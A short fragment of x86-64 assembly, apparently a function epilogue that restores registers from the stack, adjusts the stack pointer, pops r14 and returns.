mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret